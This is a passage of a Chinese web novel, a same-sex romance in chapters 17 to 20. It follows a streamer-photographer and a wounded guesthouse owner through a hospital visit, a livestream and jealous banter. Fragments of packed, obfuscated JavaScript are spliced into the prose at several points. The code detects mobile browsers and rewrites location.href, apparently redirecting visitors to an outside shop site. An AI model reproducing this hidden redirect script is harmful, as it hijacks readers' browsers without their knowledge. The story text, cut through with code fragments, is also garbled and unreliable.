“叽里咕噜说什么呢!给我看看伤。”他走上前去直接把被子掀了,露出润如白玉的肌肤,晃得头晕目眩。 对方起身扑来,伸手就要抢回蔽体的被子。 谢白颐嘴角勾起,一根手指就把对方按回了床上。 他视线下探,刻意忽略了突兀的粉色,落在被缠得狗啃似的肩窝上。 那里包得厚,但仍然可见渗出来了点点梅红,应该是刚才动作幅度太大导致的创口撕裂。 “我给你拆了看,可以吗?”吊儿郎当的人难得收起不正经的模样,温和地说。 苏漾被按着一根手指按得动弹不得,屈辱烧成了满脸红色,眼中逐渐爬上晶莹。 “不行……” 弱弱地,像小鸟在叫。 谢白颐职业病犯了,心下忽软,生出几分怜爱哄着说:“我不做什么,就是看看伤。” 对方偏过头去,用头发挡住脸,头摇得跟拨浪鼓似的。 “不给看是吧?那你上药了吗?” “上了。” “上的什么药?” “......药酒。” 谢白颐噎得不会说话,当即把人横抱起来。 “你干什么!放我下来!”那人惊得忘了羞,瞪着眼骂。 “干什么?干-你!” 他心疼死了,没好气地说。 这么大的人了,还用药酒糊伤口,嫌烂得不够快吗? 苏漾被抱下楼,越是挣扎就被困得越死,力道之大勒得他喘不过气。 以前怎么没看出来这个人这么好劲儿? 一向爱惜羽毛的苏大老板没了办法,只好冒着丢天下之大脸的风险死劲儿捶着胸口,一叠声说:“衣服,我要穿衣服!你赔我衣服!” 急过头的谢大老爷这时才想起来刚才都干了啥。 只见怀中的人半遮半掩,通体泛粉,整张脸被头发挡住埋在了臂弯里,死活不敢抬头看他一眼。 漂亮,太漂亮了! 摄影师本能在作祟,引得人快速掏出手机一拍。 紧接着,就被跳下来的人踹翻在地。 “删了!”对方双手捂着身体,眼睛红红,眼神很凶。 虽然没骂,但看得出来很脏。 谢白颐笑着,龇牙咧嘴地按着尾骨,晃手机威胁:“想删?自己穿好衣服跟我去医院。” 对方警惕地看着他,浑身写满拒绝。 “不去是吧?”不怀好意的笑容在那张俊脸上徐徐展开,“那不要怪我每天晚上对着这张图……” “死变态!” 苏漾急哭了,不顾形象骂了句,直接手脚并用就要过来抢。 身上的伤还疼着,管用的右手也不太好使,左手去够显然得费老劲儿。一来二去,竟不小心蹭出了危险信号。 两个人都僵住了。 三秒后,火红瞬间席卷了那身莹白。 谢白颐见状,不由痛苦地闭上眼。 完了爸爸,我是gay! —— 苏漾寻了空子逃走,关上房门把自己反锁在里面,接连喊了好几次吃饭都没人答应。 谢白颐颓然地倒回床上,目光空洞,投篮似地朝垃圾桶又扔去一团纸。 脑子里大片空白,所有思绪都变成了看破红尘的了然。过了老半天大脑才跟重启似地,慢慢飘过大片成语弹幕。 惹祸上身、祸国殃民、红颜祸水、祸起东墙……...精尽人亡。 什么乱入的东西。 他思前想后,还是没忍住,纠结着眉心打开手机,十分羞耻地打字搜索:“发现自己喜欢男人怎么办?” 帖子底下除了置顶的正经回答,剩余的评论都是清一色的怂恿,整齐划一都快能组桌麻将。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240445|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >[迎男而上呗!还能咋整?] [说走就走,走不了就干!] [要么怂,要么从心。] [过来人真诚建议,上下不重要,里外才是制胜的关键。] ......什么乱七八糟的? 感情新手忍不住皱眉。 百无聊赖又找了一圈答案,谢白颐终于放弃,将手机往床上一扔。 理论证明,天生卷尾的茄子,无论如何都扭不成直溜的瓜。 他调整心情,下楼敲响了紧闭的房门。 “苏大老板,面都坨了,天都黑了,你吃个饭行不行啊!” “滚!” 中气十足的样子,全然不像饿了两顿的状态。 不详的预感油然而生。 这个怪胎,总不能在屋子里藏了一堆虫子蜘蛛小零食吧? 想想都怪渗人的。 谢白颐忍着头皮发麻,极有耐心地又劝了句:“哥不好,哥道歉,你行行好吃个饭成不?” 里头又是一顿叽里咕噜的骂。 行,敬酒不吃吃罚酒,那就别怪他不客气。 谢大爷掏出他拿重金求购的语音播报手机,拨出一则号码。 [您所拨打的电话已被识别为开锁公司,正在给您接……] “通”字淹没在了“砰”地一声巨响里。 对方恨恨地盯着他,伸手按下了挂断键。 这是苏漾第一次做出不守分寸的行为。 “都怪你!”美人悬在眼眶的泪欲落不落,简直要愁杀个人。 谢白颐担心着他的身体,只想哄人吃饭看病,此时说什么都认:“怪哥,是哥没把持住。” 苏漾吸了吸鼻子:“面在哪儿?我吃了,你删图。” 手握把柄的人瞬间来劲儿,朝厨房一指,口中说着欠揍的话:“那可不行,删图是另外的价格。” 苏漾后退两部,盯着他:“什么价格,我买!” 谢白颐挑眉,眼睛落在对方缠着绷带的那边肩膀上:“看病。” —— 第四次,急诊室。 苏大老板这次特地打扮得全副武装,带了口罩盖着帽子,整个人裹得严严实实。结果人刚往诊室的椅子上坐,又被那医生笑眯眯地认了出来。 并……打招呼。 苏漾一个没坐稳,险些跌倒在地。 忽然好想去死。 偏生谢白颐还很不客气地问了句:“大夫鹰眼啊!这都能认出来?” 医生笑说:“看见你和挂号单上的名字就知道是谁了。” 大大方方露脸的人笑得最欢,反倒是裹得只剩眉毛的人全身写满绝望。 他朝苏大美人一挑眉。 我说什么来的,没用。 口罩和帽檐中间的眼睛顿时翻上天。 按照惯例询问了病灶,谢白颐都一一替人答了。医生听罢喊来助手,要求苏漾解开扣子。 被遮盖掩饰的脸看不出表情,只能透过怯怯的眼神猜出不安。 “你出去。”他低声说。 谢白颐不动,坦然将他望着。 “出去!”声音高了几分。 谢白颐不答,转头向大夫征求意见:“我能在这里看着吗?不知道他上了哪里,我整宿没睡,看了才放心。” 医生奇怪的眼神来回穿梭在二人之间,半晌才说:“家属是吧?只是检查创口而已,可以陪同。” 18. 真喜欢我啊? 伤口不小,看上去像被人打了一枪,经验丰富的医生检查过后,确认没有子弹残留,才把他推进病房做了个清创手术,留院观察满24个小时才放人离开。 苏漾走出医院的第一时间,就是盯着谢白颐把那些丢脸的照片全删掉。 “苏大美人,这就不公平了。”谢白颐动着手指说:“天天勾引我也不给点好处,太心狠了。” 一天过去,对方的脸上波红未散,衬得眉目愈发明艳。 “是你自己居心不良。” 谢白颐被呛,也不恼,只是从胸腔里发出连串的笑。 他转过头,贴在对方眼前,鼻尖对鼻尖:“没勾引?那你害羞什么?” 美丽的眼睛睁大了几分,你你我我了好几句,愣是说不出来半句完整的话。 “别挣扎了,承认吧!你也为哥的魅力着迷。” 本以为这番自恋的话说出来后会引来苏漾的怒骂,谁知对方呆了半晌,忽然将自己蜷缩起来。 母胎单身的谢大爷愣了一下,仿佛看到“脱单”两个字在眼前红旗招展。 他忍着心中擂鼓般的轰鸣,浑身血热,又凑近了几分,试探道:“真喜欢我啊?” 声音温柔带笑,低沉下来时像大提琴在耳旁低语。 被揭穿心思的人登时烧透了,无处可逃神色失措,慌乱之下只能用手臂捂住脸,遗落了滴血的耳垂。 鬼使神差地,谢白颐单手虚抱上那劲瘦的腰,另外那只手掰开了遮住眉目的屏障。 那种不谙世事的清澈、迷茫和动人,全被这个呆瓜一股脑儿装进了那双水光潋滟的眸子中。 谢白颐忽然想问一句:让我追你,好不好? 话到了嘴边,被细品两下,很快又收回了肚子里。 心动的人难得怂了。 谢白颐家里有两位严师,向来注重风度,讲究读书人的面子。他这些年不是留学就是工作,长期在外从未和两位老人家交流过感情上的观点。 苏漾既然对他有意思,把人追到手并不困难。只是真要把人带回家,自己父母的态度是否开明,又是另外一回事了。 他可不想做一个骗身骗心的渣男。 思及此,拦腰的手微微移动,伸向后座。 然后响起“咔吧”一声。 苏漾浑身一僵,慢慢放下手臂看向声音的来源,只见三指粗的黑色条带横在腰间身前,不知何时被人上了锁。 怎会这样…… 他的眸光黯淡下来。 “想什么呢?”旁边传来谢白颐轻松带笑的声音,“给你系安全带而已,我可不想扣分。” 今夜有星子点在夜幕里,逐着月亮拖曳出长长尾巴。他们四目相对,继而错开视线,在月色下擦肩而过,忽略了彼此眼中最灿烂真挚的愿景。 在这里进进出出这么久,两个人头一回觉得山路如此长。 归家心太切,好像望不到头。 因着肩膀上的枪伤,苏漾这几日都被谢白颐反客为主地伺候着。面前这个人又恢复了没个正行的模样,字里行间都透着欠揍的渴望,仿佛车里的那抹深情和心疼只是稍纵即逝的幻觉。 “大老板,忌口些吧!”谢白颐第不知道第几次抢走了牛肉干,“被人崩了一枪还不注意,伤口的大窟窿还在库库冒血就搁这儿吃发物。可劲儿造,看造不死你。” 那双明眸饱含哀怨,望着他不说话。 照顾了人整整两天的谢大爷有些无奈。 真令人头秃。 不知何时起,牛肉干成了他们二人之间不约而同的神器良药,一个拿来戒烟,一个代替烤蜘蛛。 现在的苏漾,烧烤不能吃,辛辣也忌口,海鲜鲤鱼更是头号敌人。唯一能吃的新鲜瓜果清淡蔬菜,三餐便把人弄得面如土色。 谢白颐挠破了头,又去把何桉和苏寒找来,一个开发伤员专用菜谱,一个负责调味增添颜色。 他有些好奇,忍不住问:“你哥没少被人追杀啊?我刚认识他的时候,手上还被刀剌了道大口子呢!那时候他也这样辛辣烧烤不忌口?” 苏寒回忆了下,忽然毛骨悚然:“对啊?我哥那时候吃这些居然没事?” 更奇怪了。 美人啥都好,就是谜团有点多。 跟个特务似的,谁知道身上是不是藏了些祸害人间的秘密。敢跟他谈恋爱,就要随时做好成为炮灰的准备。 但谢白颐喜欢上了头,不敢归不敢,但还是得事无巨细照顾着。面对令人操碎心的大漂亮,他可耻地弯腰屈膝,极有耐心地放下钩子钓鱼。 “听话,咱不吃,成不?” 这种哄小孩似的商量语气,要是被他老子听见,指定又赏脸一顿全鞋宴。 但好言难劝作死的鬼,对方那只手一直不甘示弱地抓紧纸袋,还打算趁人不注意时借机扣点沫子吃。 谢白颐几次三番阻拦无果,马上收起笑,板着脸凶道:“想不想赶紧好起来挣钱还债?” 哀怨很快变成了疑惑,眨巴两下,转为迷茫。 “忘了?”他善心提醒,“包吃包住,两年。” “两年”二字威慑力太大,直接让那只扯着牛肉干袋子的手瞬间如触电般缩了回去。 如今的苏大老板手不能提肩不能扛,唯一能做的事情就是动动嘴皮子说话。直播设备无人扛上山,谢白颐自己一个人驾驭不来,于是暂停了白眉朱雀的拍摄计划,把直播搬到了室内。 这段时间里,前两期的观鸟纪录片也被剪出来了,如今时机正好,他前脚刚在自媒体账号上发布,后脚就作为画面开启了repo讲解模式。 老粉丝久未见到这张帅脸,刷过去又退了回来。 [咦?我这是看到了什么?失踪人口回归?] [奶奶,你关心的主播终于营业了!] [好久不见甚是想念,当然我说的是你老婆。] 谢白颐小心翼翼地观察着还未露脸的苏漾,观其神色宠辱不惊,似乎对“老婆”这两个字免疫良好,才放下心来调侃道。 “这么想我不刷个飞机表示表示?” “才四天没开播而已,旅游还得七天呢!” “什么老婆,没个分寸。” 弹幕纷纷笑骂不要脸,也有人好奇他俩去了哪里旅游。 一向脸皮子够厚的谢白颐难得没好意思说陪人去医院逛了两天。 苏漾在旁边整理好repo用的文稿,轻咳了声,提醒着插科打诨的人注意正事。 镜头转到他面前,马上又引起哇声一片。 他显然对网友夸张的惊叹习以为常了,面不改色心不跳,讲起前两期纪录片的拍摄内容,还分享了一些小插曲。 “虽然黑额山噪鹛在繁殖期间,雄鸟和雌鸟都会居住在一起。但那个时候不太巧,周边的食物被清干净了,所以这些雄鸟的画面都是去另一座山头拍摄的。” 有网友提问:[为什么被清干净了?是人工破坏砍伐导致的吗?] 苏漾有些憋笑:“还真没有,是它自己吃干净了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240446|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 弹幕先是飘过一片问号,紧接着爆发哄堂大笑。 [居然是只吃货?] [怪不得那么圆。] [以后再也不随便说人家小鸟胃了,原来小鸟也有大胃王。] 谢白颐瞥见最后那条弹幕,心下一动,不由看向身旁胃口小得像只鸟儿的人。 确实太瘦了,该多喂些才是。 指针已经接近饭点,他起身去厨房看了一眼何桉备菜,确定没有违反医嘱的食材出现后,才安心回到座位前。 来时还不忘顺了一盘圣女果。 屏幕前正在互动的粉丝都是聪明绝顶的,没过多久,就有人看到了屏幕前突兀冒出来的红点点。 [又给老婆投喂了啥?] 自从确认了对方的心意,谢白颐对老婆这个词的接受度出奇得高。当下也忘了照循惯例反驳一二,捏起果子在屏幕跟前晃了晃。 “红彤彤的圣女果,鲜嫩多汁一口出浆,酸甜在味蕾舌尖炸开,就跟遇到初恋那样心悸又沉醉。” 炫耀似地文案宣传,不出意外引来嘘声一片。 [又嘚瑟了哥。] [该死,被他装到了。] [你们没人留意到他开始不反驳老婆这两个字了吗?] [老婆,这也能忍?] 苏漾当然不能忍。 但他顶着个四不像的尴尬身份,也不好说什么。 镜头前,他是配合谢白颐炒cp的科普主播,镜头后他是将一切心事藏起来的还债人。 昨日车厢里暧昧的余温还在,如同骚在心尖上的羽毛,转头就被风吹得不知飘向何方,只留下被逗得神魂颠倒的人。 金丝镜框下藏了欲望的眼神落在唇边,叫他内心里不由自主升起一丝隐秘的期待。明明早已被人用谎言无情打破,却还是忍不住翻出来细品回味。 他压下心底涌起的点点难过,端起了标准的营业笑容:“我是大家的老婆。” 此话一出,不能忍的人换成了谢白颐。 面对弹幕刷屏的起哄,他气得咬牙,伸手夺回了对方刚送到嘴边的圣女果,不顾对方惊诧的眼神冷笑道:“既然你有那么多老公,那就叫大家洗干净了来投喂你,这个我留着自己吃。” [酸了酸了。] [谁醋了我不说。] [支持主播成为我老婆!] 更有甚者当即刷了两个火箭,用金钱证明投喂举动。 一片喧嚣中,忽然有人冒头问道。 [咦?今天居然没在户外直播吗?] 众人这时才醍醐灌顶反应过来,看着身后的装修,纷纷跟风咨询。 [今天居然不在户外?] [主播现在位于哪里?民宿吗?] [后面的屏风是哪个牌子的?] 苏漾含笑的声音从旁边传来:“对的,在我自己的民宿。这几天下雨拍不了户外,我们就在室内先跟大家见面了。” 他刻意隐瞒了身上的枪伤,在网友的好奇下用便于活动的那只手举起镜头,大概介绍了一下民宿的装修环境,并提出附近有好几个观鸟点可以供大家免费游玩。 许是性价比太高,老板人美心甜,很快就吸引了无数人后台咨询。 谢白颐刚把民宿预定链接挂上小红车,很快就多出来了几张新订单。 他蓦地松了口气。 感谢这条浑水摸鱼的弹幕,为凄凄惨惨的民宿带来了金钱流量,并成功扭转逐渐跑偏的画风,让网友重归智慧与冷静。 19. 小瞧哥了不是? 这一日,苏漾起了个大早。 天刚微亮,清晨6点的空气正好。站在宽敞的露台上眺望远山,青青而立,目之所及之处有飞鸟划过朝阳。 预定在今日入住的客人昨夜里就预约了午饭,想来今日不会太晚到达。他匆忙洗漱过后给何桉发了消息,来到前台打开电脑,确认当日的订单状况。 今天有两位客人到访,不出意外的话,应该是对情侣。 “哟,大美人!饭也不吃就工作,挺敬业啊?” 楼梯上传来欠嗖嗖的声音,苏漾抬眼望去,看到穿着一身新中式的谢白颐。 他微不可查地皱了眉:“你打扮成这样干嘛?求偶呢?” 来人轻笑:“哪能这么说,我求你不行吗?” 张口就来的一番话,成功把工作中严肃的人撩红了耳朵。 苏漾抿着唇,不动声色地用长发遮住,眼神都懒怠施舍一个。 明明昨天还叫人别多想,今日的情话便信口开河。 当他是什么召之即来挥之即去的小宠么? 从楼上下来的人丝毫没察觉到异样,脸上笑意不减,扬声问:“西红柿打卤面,不加鸡蛋,吃吗?” 电脑后抬起一双审视的眼,将他上下打量。 谢公子今儿个打扮得俊,新中式的衣服版型利索剪裁大方,上面用金色的丝线绣了竹叶纹样,透着简约留白的高级感。发型被精心抓了两把,衬得五官愈发立体。横在高挺鼻梁上金丝镜框不知何时挂了骚包流苏,垂下来时微微挡住斜飞的眼尾,如墨色破开宣纸,浓墨重彩地添上一笔风流。 苏漾撤回视线,压下心底的酸楚和不甘。 “有钱烧衣服不如去投流,就靠咱俩这嘴皮子半死不活讲一天,期望自然订单入账,迟早饿死你。” 他说这话时明显带了恼意。只是不知道这份情绪是因为比美落败了,还是因为对方那令人恨得牙痒痒的态度。 谢白颐浑然不觉,笑着打开折扇,纸页在空气中“啪”地扫过,晃出一阵好风:“小瞧哥了不是?我有的是钱请厨子,只可惜饿的另有其人。” 他没点明是谁,但眼睛却寸步不离那头粉发,是个傻子都能看出来其中意味。 空气中霎时弥漫着尴尬气息。 被调侃的人没有接话,只是垂了眸,安静得如同木偶。 不可否认,昨日撤回去的暧昧成了苏漾彻夜难眠的罪魁祸首。 他一宿没睡,起床只能靠浓茶续命,今日还要迎接两位远道而来的客人,实在懒得花费功夫在拌嘴上毁了精气神,当下扭头去了厨房,抄起菜刀咔咔切上几块青椒,力道之大把木头砧板都砍出碎屑来。 紧跟过来的花孔雀当下就被这劈头盖脸的架势惊得后退两步。 他严重怀疑对方想切的根本不是青椒。 而是……炒肉的辣椒。 枪伤未好,单手持刀,再这么下去,怕是伤口又要裂开,搞不好休息一个月都养不回来。 “好人,赏个脸,别吃辣的。”一只手赶在油锅炸起之前,挡住了即将倾落的食材。 苏漾见他人跟了来,本就不舒畅的脸色更难看了,直接一招分花推柳将人别开,高空抛物滋啦一声,油锅里溅起泼天白烟。 紧接着,接连的呛咳从浓雾中传来。 谢白颐实在拿又菜又逞强的苏大老板没了办法,从对方的手上拿过锅铲熄了火,将人半抱半推地按在大堂的沙发上。 “听话,别吃青椒,那玩意儿忌口,我给你做打卤面。”他切了芭乐送到对方嘴里,哄着说。 苏大老板显然还没缓过气,芭乐递到跟前也只是本能地张口咬着,一双眼睛雾蒙蒙地看不出情绪,自始至终都游离在与他相反的方向。 嘴欠的人见状终于舍得收敛:“好了,不逗你。” 沉默的人背过身去,双手捧着芭乐啃得缓慢,没接茬。 他满脑子只有四个大字:“不娶何撩”。 面前这个可恶的男人,他根本不知道鸟类会把朝夕相处的人当成自己的…… 这个念头刚起来,就被手动刹住车。 是了,谢白颐根本不知道自己的身份。 更何况,他不是雌性。 虽说当今同性婚姻已经合法,但旧时观念仍在,一个不能生育的伴侣往往面临着更被动更困难的家庭局势。 谢白颐出身不差,考虑慎重也很正常。 他自我说服了半晌,好不容易放平了心情,才闷闷要求道:“只要西红柿。” 耳边果然传来了那声有求必应的答复:“好,不放鸡蛋。” —— 午间来的两位客人一男一女,不出苏漾所料,果然是对夫妻。 那女子见他满头漂亮的粉发,神色难免有些激动,拉着人问了好久的色号和固色技巧。 苏漾有些尴尬,他笑得为难,只搪塞着是朋友的杰作,自己不太清楚。 左右问不到秘方的女子也没继续追下去了,只笑着说:“小伙子生得真美,比镜头前好看不少。” 男子看上去比较严肃,是个不爱说话的。当下端起笑容点了点头,掏出身份证明办理入住手续。 苏漾不便活动,喊了苏寒帮忙把行礼送上楼,自己则引着客人前往就餐的地方。 不同与其他民宿的规划,苏大老板更喜欢用风景佐以美食下饭,因而将餐厅设在了院外的一处露台上。西南雨水充沛,谁也不知道下一秒是晴天还是雨天,为了提供更好的观景服务,他特地采用了环绕落地窗的设计,既能为客人提供四面观景的便利,也能在合适的时候遮风挡雨。 他收拾起因混账玩意儿而糟糕破败的心情,翻出笑容递上菜谱,问道:“两位想吃点什么?” 负责点餐的是那名女士,选了几道招牌菜后直接将餐牌还了回去。 苏漾有些惊讶,但还是例行公事地礼貌咨询:“先生想吃点什么?” 男士看上去刚要开口,就被女士挥挥手打断:“他不会点,你别管他了。” 一句话,轻而易举地暴露了家庭地位。 食物链低端的丈夫顺势摊开手,笑容无奈又带了些宠溺。仿佛在跟苏漾说:看吧!已婚男人的幸福。 眼睛忽然有些刺痛,酸酸涨涨说不出什么感觉。偏生谢白颐还不知死活地走了过来,大老远喊了几声他的名字。 苏漾赔笑几句,在客人揶揄的眼神下背过身深吸一口气,走下露台时撤去了好脸色。 “有事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240447|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在去厨房的路上与之擦肩而过,神色平静,语气也有些淡漠。 对方说:“没什么,就是忽然想喊喊你的名字。” 一句话,成功让苏大老板拉下脸来。 “你很闲吗?”闷气焗在心头,连带着说出来的话语气颇冲,“没看见我在招呼客人?” 谢白颐翘起双臂,好整以暇:“苏大美人双标了,我也是客人,怎么招呼他们可以,我就不行?” 苏漾压低了声音,咬牙切齿:“真当粉丝认不出来你?他们会觉得你是以客人的身份来打断我的服务吗?不!他们只会觉得我们是一伙的。” 谢白颐道:“就算是一伙的又如何,合作伙伴临时有事情找人,不也很正常?” “谁会这么认为了!”那双美眸含怒,被粉发托起如同烈火玫瑰,美得凌厉又艳,“在他们眼中我们就是一对的。你现在的所作所为代表了我,也代表了如意民宿!少来客人面前捣乱丢脸,不然我撕了合同把你赶出去!” 那根纤细莹白的手指戳在胸口,有点疼,但更多的是欢喜。 那句“我们是一对的”根本没逃过谢公子的耳朵。 他勾起唇,悄悄然贴了上来,唇状似无意地扫过对方的耳廓,擦出一片火辣滚烫的温度。 “撕了合同,不怕我告上法庭理赔?” 这句话音量压得低,只有他们两个人能听见。 苏漾微微出神,很快敛去了眸中一闪而过的伤感,抬眼直视:“你有本事就去告,谁比你更舍得呢。” 粉发擦在脸上,微痒中带了凉意。 谢白颐愣住了,将“舍得”二字放在齿间嚼了嚼,品不出来究竟是何意味。 若换做平常,他是断然要逮着这个字眼玩笑一番的。只是如今同样的话听在耳中,居然冒出些涩然的酸楚来。 事情不该是这样的。 他转身,抬步追上前方行色匆匆的身影:“我不舍得,千万都不舍得,你别当真!” 前方的身影躲得更仓促了,跑进厨房“砰”地一声,直接给人来了个闭门羹。 “我不听!这话留着给你未来的老婆去解释吧!” 谢白颐傻站在门口,心底忽然空落落地。 如果不是苏漾,他还能上哪里找老婆呢? 无论如何都不能祸害女孩子的。 男的也不行。 “苏……”他抬手敲门,话说到一半忽然停住。 事情发展到如今这个局面,该如何称呼才显得道歉诚恳? 苏漾太正式,苏大老板太生分,苏美人调戏意味过浓。 平常不注意惯了,事到临头才发现找不出一个像样的称呼来。 “对不起。”道歉隔了一道门,也不知道对方能不能听清,“我以后等你闲了再说话。” 冷笑从里头传来,带了自嘲的涩意:“闲了也是没话找话拿我开玩笑,这样的道歉还是算了吧。” “那能怎么办呢?我见到你心里就欢喜。” 苏漾躲在门后,脸色忽地变了。 他忽略了何桉挪过来的探究视线,推开门风一阵似地跑了出去。 自然也没听见谢白颐逮住他想说的后半句:“欢喜,就是忍不住犯贱啊!” 20. 点我可好? 这对夫妻带了两台摄影装备,一看就不光是为了帅哥而来。 谢白颐身为主播,今儿个被苏大老板的话拉拢人心,兴致盎然地顶着一身翩翩贵公子的打扮与客人们交谈甚欢,金丝镜框下的面皮儒雅又有风度,与平时吹牛嘚瑟的模样全然不同。 那女子有些感叹,两位主播私底下的性格竟与镜头前截然相反。 苏漾在旁边听到这句话时,差点冷笑出声。 今儿个花孔雀开屏求偶注重形象,过几日混熟了面孔,又是另外一回事了。 前来打卡的这对夫妻听说是某地级市的动物保护专员,负责检测当地湿地公园的生态数据。今日前来也是想取取经,顺便捡个大便宜放松身心。 他们口中的大便宜,指的是480一晚不到的大床房。 苏漾的品味确实挑不出错,前来入住的客人几乎是0差评离场,即便是当时那个故意找茬的姑娘也没说过居住条件的半句不是。 谢白颐时常感叹,光这一套服务下来,放到其他城市少说得要价1000以上。 “涨点钱吧大美人!”贵公子哥“啪”地一声打开折扇,对着烤红薯的炉子扇风点火,“人家身经百战都觉得你是个大便宜,好歹别这么亏待自己不是?” 苏漾坐在野外的田埂上,抱着热烘烘的甜品小口啄着,闻言道:“人家说什么你都信?” 他的粉发被扎成侧麻花辫垂在肩上,恰到好处地挡住了活动不便的关节。 “真不骗你。” “......那也得拿出证据。” 谢白颐无法,只好将挂在脖子上的金丝眼镜戴回去,掏出手机搜索了几个高端旅行酒店的报价,将屏幕伸到对方眼前:“1800都是基础大床房的费用,双人和临湖观景的价格只会更高。” 苏漾看后有些沉默,垂眸半晌,讷讷地将剩下的红薯拆吞入腹。 美滋滋的小零食登时没了味道。 “能怎么办呢?”他口齿不清,“我没有流量,又不会宣传,定价再贵些就更没人搭理我了。” 夫妻俩定了四晚的住宿,除去折扣共计1632元。谢白颐看着坐在前台凝视计算机一筹莫展的人,不禁笑说:“看吧!我都说了可以涨价,你不信,现在可算明白没?” 算明白了,四天加起来的营业额还不够人家一天赚得多。 “总得有理由涨价不是?”苏大老板叹气,“试营业阶段这个价格也不算亏太多,后期哪怕调整,也得加入某些包含在套餐里的服务,或者装修升级。不然那些没占到便宜的粉丝不仅全跑光了,还会在网上造谣我们坐地起价。” 他这话说的倒是不错,林子大了什么鸟都有。试营业阶段最忌讳的就是落人口舌,毕竟粉丝基数小,名声也没在行业内占得一席之地,稍微来两只臭鱼烂虾就能将一池子水搅得浑浊。 若真遇到有心之人造谣,再被不明所以的跟风起哄,这桩生意也不用做了。 但人活着就得吃饭,民宿的价格不能一直维持在与整体档次不相符的水准,总该想个办法破圈才是。 次日入住的客人是个小姑娘,独自搬了个20寸的行李箱过来。谢白颐眼尖,看了眼装不下几件衣服化妆品的箱子,私底下状似不经意地向苏漾打探了入住情况。 得知本订单只预定了两个晚上,心中的警铃声顿时拉响一片。 不好,冲苏大老板来的。 那对夫妻昨天主动提出想去附近的几个观鸟点转转,谢白颐之前还顾忌着苏漾的伤口不方便折腾,主动帮忙揽下了瓷器活。可当这么一个大危险住进来之后,让本来板上钉钉的计划瞬间有了改动。 那一枪打在肩窝,属于上肢范围。与其让伤员用双手去服侍一个危险因子,不如改为双脚运动带路探鸟更为合适。 他找到人打着商量,不出意外地,对方有些为难。 “你又不知道本店包含的服务条件,怎么提供消费体验?更何况就冲这张嘴,都不知道会给我惹出什么麻烦来。” 谢白颐大言不惭地说了几句放心:“我跟那对夫妻不是聊得挺好?你也看到了,人家当场就发小视频给咱宣传了。” 他用了个“咱”字,故意将二人绑定在了一起。 苏漾在感情上就是只小白鼠,自然没有察觉对方隐秘的手段和心思。经由这个提议一吓,满脑子蹦跶出来的画面都是养尊处优的谢公子哥儿会给他闯出什么祸来。 倘若推演成立,也未免太壮观了些。 上次的隐藏摄像头事件虽说不是己方责任,但由于处理手段欠佳,纵使得到了赔偿,也没落得个圆满的解决下场。 他猜测,当时的画面应该被人录了下来经过小范围传播,所以才导致第二批客人宁愿放弃捡漏的便宜也要选择驻足观望。 “我不答应。”美丽的眸半阖起来,目光落在了账本上,“既然要与我合作,就拿出应有的身份来提供服务。那对夫妻明显是你的粉丝,身为摄影师,要做的就是帮前来观鸟的顾客提供最佳机位。我又不会这些,上山做什么?陪玩吗?” 话虽然说的在理,但听在耳中就没那么舒适了。 舌尖扫过发酸的牙,谢白颐将私心藏起,换了个角度劝:“你肩上有伤,端茶倒水送饭都是上肢活动,不利于恢复。” “听你这话说的,难道上山就不用动了?”那抹眉梢弯出了一丝不真切的自嘲,“我在这里好歹还有苏寒帮衬打理,上了山,怕不是会成为别人的麻烦。” 满心想着如何拆除危险炸弹的人被问得找不出话来抵抗,只好穿着这身昂贵的新中式故意在小姑娘面前晃了几圈,又状作无意间与苏大老板亲昵擦肩说上几句话,明里暗里都在跟人炫耀着什么。 苏漾看不懂这些弯弯绕绕的花肠子,只觉得此人今日吃错了药,不胜厌烦。当这只花孔雀再次走到自己身边时,他迅速拉下了脸,没好气说:“这身衣服能换了吗?不知道的人还以为你是拉客的牛郎。” 险些贴上来的手掌凭空抓了把空气。 民宿爆改“高档夜店”,在这免费打工的人没恼,听他这么说反倒笑得两眼放光:“那苏大老板赏个脸,点我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240448|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好?” 话音刚落,换来一道锐利如刀的视线。 “行啊!”对方看商品似地上上下下打量着他一身行头,“点完阉了,送去泰兰地给我赚大钱。” “大美人,心可真狠呐!”谢白颐嘴上说着调侃的话,眼中却散了笑意。 